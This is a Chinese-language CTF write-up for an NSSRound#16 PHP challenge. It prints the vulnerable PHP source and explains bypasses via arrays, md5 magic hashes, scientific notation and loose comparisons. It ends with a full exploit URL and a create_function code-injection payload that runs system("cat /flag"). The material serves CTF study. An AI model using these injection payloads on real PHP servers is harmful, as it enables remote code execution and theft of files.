当前位置: 首页 > news >正文

CTF-DAY11

[NSSRound#16 Basic]了解过PHP特性吗

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {die("no!!");
}
if (intval($num)) {$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {$ctype = strrev($_POST['ctype']);$is_num = strrev($_POST['is_num']);if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {$checker_2 = TRUE;}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {if (!is_numeric($_514) && $_514 > 9999999) {$checker_3 = TRUE;}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {for ($i = 0; $i < count($arr4y); $i++) {if ($arr4y[$i] === "NSS") {die("no!");}$arr4y[$i] = intval($arr4y[$i]);}if (array_search("NSS", $arr4y) === 0) {$checker_4 = TRUE;}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {echo $rce;
}

intval()函数‌用于将变量转换为整数类型。
strrev() 函数反转字符串。
ctype_alpha()检测字符是否都是字母。
is_numeric()检测变量是否为数字或数字字符串。

分析

  • 当num是一个数组时,preg_match会将它转化为bool类型,而使整个句子返回false;
  • intval当遇到非空数组时,会返回true
  • 弱比较MD5绕过,注意传参的时候要逆序
    • strrev — 反转字符串
    • ctype_alpha — 检测所有字符是否都是字母
  • intval($ _114) > 114514 && strlen( $_114) <= 3 可以使用科学计数法绕过
  • !is_numeric($_514) && $_514 > 9999999添加字母绕过
  • arr4y要求不能存在NSS字符串。search默认第三个参数是false类型。弱比较,输入0,NSS0,NSS1都行。
http://node4.anna.nssctf.cn:28285/?num[]=aaa&114=9e9514=9999999999aaa&ctype=OZDCKNQ&is_num=807016042&arr4y[]=a

然后提示去next: Rc3_function.php

<?php
error_reporting(0);
highlight_file( FiLE );
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){$nss_shell = create_function($shell,$nss);
}

是create_function注入
shell=&nss=1;}system("cat /flag");/*

参考WP:https://www.cnblogs.com/ForBreeze/p/17972192#_label1

相关文章:

  • yolov5如何训练使用MRI 脊椎分割数据集_ 脊椎分割项目解决方法如何 原图,标签分别2460张 实现可视化及评估
  • STM32-TIM定时中断(6)
  • element-ui时间线样式修改
  • Mamba 状态空间模型 笔记 llm框架 一维卷积
  • 云效 MCP Server:AI 驱动的研发协作新范式
  • cnas软件检测实验室质量管理体系文件思维导图,快速理清全部文件
  • 初等数论--欧拉函数及其性质
  • 【谭浩强】第七章第14题
  • 钉钉打卡教程
  • 深入解析网络联通性检测:ping 与 tracert 的原理、用法及实战应用
  • 位运算(二进制中1的个数)
  • 快手618购物节招商启动,国补可叠加跨店满减等大促补贴
  • 算法专题五:位运算
  • 机器学习实操 第二部分 第19章 大规模训练和部署 TensorFlow 模型
  • 关闭 Windows Server 2012 R2 的关机原因提示功能,从而实现直接执行关机或重启操作
  • 二维旋转矩阵:让图形动起来的数学魔法 ✨
  • QT 解决msvc fatal error C1060: 编译器的堆空间不足
  • js 两个数组中的指定参数(id)相同,为某个对象设置disabled属性
  • ROS导航局部路径规划算法
  • “点对点通信(Point-to-Point)”和“端对端通信(End-to-End)”
  • 印巴战火LIVE丨“快速接近战争状态”:印度袭击巴军事基地,巴启动反制军事行动
  • 韩德洙成为韩国执政党总统大选候选人
  • 上海消防全面推行“检查码”,会同相关部门推行“综合查一次”
  • 新华时评:直播间里“家人”成“韭菜”,得好好管!
  • 东洋学人|滨田青陵:近代日本考古学第一人
  • 重庆党政代表团在沪考察,陈吉宁龚正与袁家军胡衡华共商两地深化合作工作